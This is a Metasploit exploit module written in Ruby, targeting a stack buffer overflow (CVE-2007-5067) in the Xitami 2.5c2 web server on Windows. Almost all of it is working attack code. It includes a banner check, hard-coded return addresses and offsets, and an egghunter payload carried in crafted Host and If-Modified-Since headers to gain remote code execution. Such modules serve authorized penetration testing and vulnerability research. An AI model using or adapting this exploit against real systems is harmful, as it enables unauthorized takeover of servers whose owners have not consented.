Xitami Web Server 2.5c2 - If-Modified-Since Overflow (Metasploit)

##
# $Id: xitami_if_mod_since.rb 10150 2010-08-25 20:55:37Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::Egghunter

	def initialize(info = {})
		super(update_info(info,
			'Name'		=> 'Xitami 2.5c2 Web Server If-Modified-Since Overflow',
			'Description'	=> %q{
				This module exploits a stack buffer overflow in the iMatix Corporation
				Xitami Web Server. If a malicious user sends an	If-Modified-Since
				header containing an overly long string, it may be possible to
				execute a payload remotely. Due to size constraints, this module uses
				the Egghunter technique.
			},
			'Author' 	=> 'patrick',
			'License'       => MSF_LICENSE,
			'Version'       => '$Revision: 10150 $',
			'References'    =>
			[
				[ 'CVE', '2007-5067' ],
				[ 'OSVDB', '40594'],
				[ 'OSVDB', '40595'],
				[ 'BID', '25772' ],
				[ 'URL', 'http://www.milw0rm.com/exploits/4450' ],
			],
			'Privileged'		=> false,
			'DefaultOptions'	=>
			{
				'EXITFUNC'	=> 'process',
			},
			'Payload'		=>
				{
					'Space'		=> 700,
					'BadChars' 	=> "\x00\x0a\x0d",
				},
			'Platform' => ['win'],
			'Targets'  =>
			[
			# Patrick - Both tested OK 20070928 - w2ksp0, w2ksp4, xpsp0, xpsp2 en.
				[ 'xigui32.exe Universal', { 'Ret' => "\xff\xce\x44", 'Offset' => 40 } ], # 0x0044ceff ret xigui32.exe
				[ 'xitami.exe  Universal', { 'Ret' => "\xf2\xc1\x47", 'Offset' => 68 } ], # 0x0047c1f2 ret xitami.exe
			],
			'DisclosureDate' => 'Sep 24 2007',
			'DefaultTarget' => 0))

			register_options(
			[
				Opt::RPORT(80),
			],self.class)
	end

	def check
		connect
		sock.put("GET / HTTP/1.1\r\n\r\n")
		banner = sock.get(-1,3)
		disconnect

		if (banner =~ /Xitami/)
			return Exploit::CheckCode::Appears
		end
			return Exploit::CheckCode::Safe
	end

	def exploit
		connect

		hunter  = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })
		egg     = hunter[1]

		sploit = "GET / HTTP/1.1\r\n"
		sploit << "Host: " + egg + "\r\n"
		sploit << "If-Modified-Since: " + Rex::Arch::X86.jmp_short(3) + ", "
		sploit << hunter[0] + rand_text_alphanumeric(target['Offset']) + target['Ret']

		sock.put(sploit + "\r\n\r\n")

		print_status("Waiting for payload to execute...")

		handler
		disconnect
	end

end